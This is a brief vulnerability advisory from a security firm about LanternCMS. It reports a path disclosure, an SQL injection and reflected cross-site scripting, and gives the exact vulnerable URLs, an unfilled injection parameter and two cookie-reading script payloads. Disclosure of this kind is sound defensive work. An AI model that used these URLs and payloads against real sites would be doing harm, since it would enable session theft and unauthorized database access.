Lantern CMS Path Disclosure, SQL Injection, Reflected XSS

https://www.osisecurity.com.au/lantern-cms-path-disclosure-sql-injection-reflected-xss.html

Date:
04-Apr-2017

Product:
LanternCMS

Versions affected:
Unknown

Vulnerabilities:

1) Path disclosure
By requesting a site with an invalid intSiteI or numRedirectCount:
http://[target]/www/default.asp?intLocationID=1&error=404&intSiteID=1&c=1

Type mismatch: intSiteID
E:INETPUBserverclient../../lantern/site/lib/asp/system.asp, line 103

2) SQL injection
http://[target]/www/html/XXXX-submit-an-event.asp (to set cookie) then
http://[target]/www/extensions/events/popups/dates_manage.asp?dteID=

Microsoft OLE DB Provider for SQL Server error 80040e14
Unclosed quotation mark before the character string .

/common/lib/cls/dal.asp, line 188

3) Cross-site scripting

http://[target]/www/extensions/events/popups/dates.asp?msg="><script>alert(document.cookie)</script>
http://[target]/www/html/X-login.asp?intPassedLocationID="><script>alert(document.cookie)</script>

Credit:
Discovered by Patrick Webster

Disclosure timeline:
27-Nov-2008 - Discovered during audit. Reported to vendor.
28-Nov-2008 - Vendor response. Unknown if fixed.
04-Apr-2017 - Public disclosure.

About OSI Security:

OSI Security is an independent network and computer security auditing
and consulting company based in Sydney, Australia. We provide internal
and external penetration testing, vulnerability auditing and wireless
site audits, vendor product assessments, secure network design,
forensics and risk mitigation services.

We can be found at http://www.osisecurity.com.au/